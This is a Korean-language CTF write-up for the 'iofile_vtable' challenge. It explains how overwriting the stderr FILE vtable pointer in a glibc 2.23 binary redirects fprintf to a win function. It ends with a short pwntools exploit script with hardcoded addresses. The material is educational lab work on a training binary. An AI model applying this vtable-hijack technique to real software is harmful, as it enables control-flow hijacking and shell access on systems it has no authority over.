[DH] iofile_vtable

Writeup
2025. 7. 29.

IO_FILE vtable

Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

launchpad를 통해 glibc 버전이 2.23임을 확인할 수 있다.

분석 (바이너리)

주어진 바이너리를 실행시키면 사용자로부터 8바이트 입력을 받아 global varible에 저장하고, print, error, read, chance 옵션을 출력한다.

  • print 옵션은 "good"을 printf한다.
  • error 옵션은 "ERROR"을 stderr로 fprintf한다.
  • read 옵션은 stdin으로 fgetc한다.
  • chance 옵션은 stdin으로부터 8바이트를 읽고 stderr+1에 저장한다.

이론

이 글에서 FSOP에 대해 정리했다.

분석 (구조)

stderr+1이 무엇을 가리키는지 알 필요가 있다. GDB를 통해 확인해 보면 stderr0xD8만큼의 오프셋을 더한 주소를 가리킨다. 즉, vtable을 가리킨다.

Note: stderrFILE 구조체이므로 stderr + 1stderr의 주소에서 sizeof(FILE)만큼 더한 주소를 의미한다. 그리고 그것은 곧 stderr*vtable을 가리킨다.

따라서 입력값으로 vtable의 주소를 변경할 수 있다!

마침 초기에 name을 입력하는 곳이 있으니 namewin 함수의 주소를 넣고 vtablename을 가리키도록 하자. 이때, 주의할 점은 이후 error 옵션을 통해서 fprintf를 호출할 때 win이 실행되기는 원하므로 vtable의 0x38 offset이 win을 가리키도록 해야 한다.

Solution

shell = 0x0040094A
name = 0x006010D0

p = connect()
p.send(p64(shell))
p.sendline(b"4")
p.send(p64(name - 0x38))
p.interactive()
p.close()
[DH] iofile_vtable